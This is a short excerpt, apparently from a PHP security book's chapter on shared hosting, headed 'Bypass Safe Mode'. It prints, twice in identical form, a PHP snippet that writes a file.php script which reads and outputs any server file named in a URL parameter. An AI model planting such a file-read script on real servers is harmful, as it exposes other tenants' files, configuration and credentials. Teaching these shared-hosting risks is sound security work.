Bypass Safe Mode
(Chapter 8, Shared Hosting - Pg 85)
<?php
$filename = 'file.php';
$script = '<?php
header(\'Content-Type: text/plain\');
readfile($_GET[\'file\']);
?>';
file_put_contents($filename, $script);
?>
<?php
$filename = 'file.php';
$script = '<?php
header(\'Content-Type: text/plain\');
readfile($_GET[\'file\']);
?>';
file_put_contents($filename, $script);
?>